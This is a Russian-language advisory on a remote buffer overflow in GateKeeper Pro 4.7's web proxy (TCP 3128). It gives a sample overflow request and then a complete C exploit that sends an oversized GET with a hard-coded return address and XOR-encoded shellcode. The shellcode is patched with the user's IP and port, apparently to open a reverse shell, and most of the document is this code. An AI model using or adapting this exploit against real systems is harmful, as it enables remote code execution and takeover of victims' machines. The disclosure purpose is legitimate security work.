Удаленное выполнение произвольного кода в GateKeeper Pro

Описание: Переполнение буфера обнаружено в GateKeeper Pro. Удаленный пользователь может выполнить произвольный код на целевой системе.

Удаленный пользователь может послать специально сформированный HTTP GET запрос к Web прокси на 3128 TCP порту, чтобы вызвать переполнение буфера.

Пример:

GET http://[target]/AAAAAAAAAA...(~4100bytes)

Пример/Эксплоит:

/******************************************************************/
  /* [Crpt]    GateKeeper Pro 4.7 remote sploit by kralor    [Crpt] */
  /******************************************************************/
  /* bug discovered & coded by: kralor [from coromputer]            */
  /* tested on: win2k pro and winXP                                 */
  /* it uses a static offset to hijack execution to the shellcode.. */
  /* so it is 100% universal. Nothing more to say..                 */
  /******************************************************************/
  /*informations: www.coromputer.net,irc undernet #coromputer       */
  /******************************************************************/

  #include <stdio.h>
  #include <stdlib.h>
  #include <windows.h>
  #include <winsock.h>

  #pragma comment (lib,"ws2_32")

  #define PORT 3128
  #define ADMIN_PORT 2000
  #define VERSION "4.7.0"
  #define RET_POS 4079
  #define SIZE 4105
  #define RET_ADDR 0x03b1e121
  #define REQ  "GET http://www.microsoft.com/"
  #define REQ2 "\r\nHost: www.microsoft.com\r\n\r\n"
  // sequence of 4 opcodes
  #define HOP 0xd4 // host opcode
  #define POP 0xd7 // port opcode

  int cnx(char *host, int port)
  {
	int sock;
	struct sockaddr_in yeah;
	struct hostent *she;

	sock=socket(AF_INET,SOCK_STREAM,0);
	if(!sock) {
		printf("error: unable to create socket\r\n");
		return 0;
		}
	yeah.sin_family=AF_INET;
	yeah.sin_addr.s_addr=inet_addr(host);
	yeah.sin_port=htons((u_short)port);

  if((she=gethostbyname(host))!=NULL) {
	memcpy((char *)&yeah.sin_addr,she->h_addr,she->h_length);
	} else {
	if((yeah.sin_addr.s_addr=inet_addr(host))==INADDR_NONE) {
		printf("error: cannot resolve host\r\n");
		return 0;
		}
	}
	printf("[+] Connecting to %-30s ...",host);
	if(connect(sock,(struct sockaddr*)&yeah,sizeof(yeah))!=0) {
		printf("error: connection refused\r\n");
		return 0;
		}
	printf("Done\r\n");
	return sock;
  }


  void banner(void)
  {
	printf("\r\n\t  [Crpt] GateKeeper Pro 4.7 remote sploit by kralor
[Crpt]\r\n");
	printf("\t\t www.coromputer.net && undernet #coromputer\r\n\r\n");
	return;
  }


  void syntax(char *prog)
  {
	printf("syntax: %s <host> <your_ip> <your_port>\r\n",prog);
	exit(0);
  }

  int main(int argc, char *argv[])
  {
	WSADATA wsaData;
	int sock;
	char buffer[1024],useme[SIZE],*ptr;
	unsigned long host,port;
	unsigned int i;
	char shellc0de[] =   /* sizeof(shellc0de+xorer) == 332 bytes */
	/* classic xorer */
	"\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5b\x80\xc3\x10\x33\xc9\x66"
	"\xb9\x33\x01\x80\x33\x95\x43\xe2\xfa"
	/* shellc0de */
	"\x1e\x61\xc0\xc3\xf1\x34\xa5"
	"\x95\x95\x95\x1e\xd5\x99\x1e\xe5\x89\x38\x1e\xfd\x9d\x7e\x95\x1e"
	"\x50\xcb\xc8\x1c\x93\x6a\xa3\xfd\x1b\xdb\x9b\x79\x7d\x38\x95\x95"
	"\x95\xfd\xa6\xa7\x95\x95\xfd\xe2\xe6\xa7\xca\xc1\x6a\x45\x1e\x6d"
	"\xc2\xfd\x4c\x9c\x60\x38\x7d\x06\x95\x95\x95\xa6\x5c\xc4\xc4\xc4"
	"\xc4\xd4\xc4\xd4\xc4\x6a\x45\x1c\xd3\xb1\xc2\xfd\x79\x6c\x3f\xf5"
	"\x7d\xec\x95\x95\x95\xfd\xd4\xd4\xd4\xd4\xfd\xd7\xd7\xd7\xd7\x1e"
	"\x59\xff\x85\xc4\x6a\xe3\xb1\x6a\x45\xfd\xf6\xf8\xf1\x95\x1c\xf3"
	"\xa5\x6a\xa3\xfd\xe7\x6b\x26\x83\x7d\xc4\x95\x95\x95\x1c\xd3\x8b"
	"\x16\x79\xc1\x18\xa9\xb1\xa6\x55\xa6\x5c\x16\x54\x80\x3e\x77\x68"
	"\x53\xd1\xb1\x85\xd1\x6b\xd1\xb1\xa8\x6b\xd1\xb1\xa9\x1e\xd3\xb1"
	"\x1c\xd1\xb1\xdd\x1c\xd1\xb1\xd9\x1c\xd1\xb1\xc5\x18\xd1\xb1\x85"
	"\xc1\xc5\xc4\xc4\xc4\xff\x94\xc4\xc4\x6a\xe3\xa5\xc4\x6a\xc3\x8b"
	"\x6a\xa3\xfd\x7a\x5b\x75\xf5\x7d\x97\x95\x95\x95\x6a\x45\xc6\xc0"
	"\xc3\xc2\x1e\xf9\xb1\x8d\x1e\xd0\xa9\x1e\xc1\x90\xed\x96\x40\x1e"
	"\xdf\x8d\x1e\xcf\xb5\x96\x48\x76\xa7\xdc\x1e\xa1\x1e\x96\x60\xa6"
	"\x6a\x69\xa6\x55\x39\xaf\x51\xe1\x92\x54\x5a\x98\x96\x6d\x7e\x67"
	"\xae\xe9\xb1\x81\xe0\x74\x1e\xcf\xb1\x96\x48\xf3\x1e\x99\xde\x1e"
	"\xcf\x89\x96\x48\x1e\x91\x1e\x96\x50\x7e\x97\xa6\x55\x1e\x40\xca"
	"\xcb\xc8\xce\x57\x91\x95";

	banner();

  if(argc!=4)
	syntax(argv[0]);
	host=inet_addr(argv[2])^0x95959595;
	port=atoi(argv[3]);
	if(port<=0||port>65535) {
		printf("error: <port> must be between 1 and 65535\r\n");
		return -1;
	}
	port=htons((unsigned short)port);
	port=port<<16;
	port+=0x0002;
	port=port^0x95959595;

  for(i=0;i<sizeof(shellc0de);i++) {
	if((unsigned char)shellc0de[i]==HOP&&(unsigned char)shellc0de[i+1]==HOP)
		if((unsigned char)shellc0de[i+2]==HOP&&(unsigned
char)shellc0de[i+3]==HOP) {
			memcpy(&shellc0de[i],&host,4);
			host=0;
			}
	if((unsigned char)shellc0de[i]==POP&&(unsigned char)shellc0de[i+1]==POP)
		if((unsigned char)shellc0de[i+2]==POP&&(unsigned
char)shellc0de[i+3]==POP) {
			memcpy(&shellc0de[i],&port,4);
			port=0;
			}
  }
  if(host||port) {
	printf("[i] error: unabled to find ip/port sequence in shellc0de\r\n");
	return -1;
	}

  if(WSAStartup(0x0101,&wsaData)!=0) {
	printf("[i] error: unable to load winsock\r\n");
	return -1;
	}
	printf("[-] Getting version through administration interface\r\n");
	sock=cnx(argv[1],ADMIN_PORT);
  if(!sock)
	printf("[i] warning: couldn't connect to admin int to get version, trying
anyway\r\n");
  else {
	send(sock,"I'm a script kiddie\r\n",21,0);
	memset(buffer,0,sizeof(buffer));
	recv(sock,buffer,sizeof(buffer),0);
	memset(buffer,0,sizeof(buffer));
	recv(sock,buffer,sizeof(buffer),0);
	ptr=strstr(buffer,"GateKeeper@");
  if(!ptr)
	printf("[i] waring: version not found, trying anyway\r\n");
  else {
	ptr+=11;
	if(strncmp(ptr,VERSION,strlen(VERSION))) {
		printf("[i] error: wrong version\r\n");
		return -1;
	}
	printf("[i] %-44s ...OK\r\n","version");
	}
  }
	printf("[i] Starting to exploit\r\n");
	sock=cnx(argv[1],PORT);
  if(!sock)
	return -1;
	printf("[i] Preparing magic %-28s ...","packet");
	memset(useme,0x90,SIZE);
	memcpy(&useme[RET_POS-0x8ac],shellc0de,sizeof(shellc0de));
	*(unsigned long*)&useme[RET_POS] = RET_ADDR; // eip pointing to jmp ebx
in exe memory
	memcpy(&useme[RET_POS+12],"\xe9\xed\xf6\xff\xff",5); // jmp $ - 0x92c
	printf("Done\r\n");
	printf("[i] Sending magic packet                         ...");
	send(sock,REQ,strlen(REQ),0);
	send(sock,useme,sizeof(useme),0);
	send(sock,REQ2,strlen(REQ2),0);
	printf("Done\r\n");
	closesocket(sock);
	return 0;
  }

URL производителя: http://www.proxy-pro.com/proxy-progatekeeper/home.htm

Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время.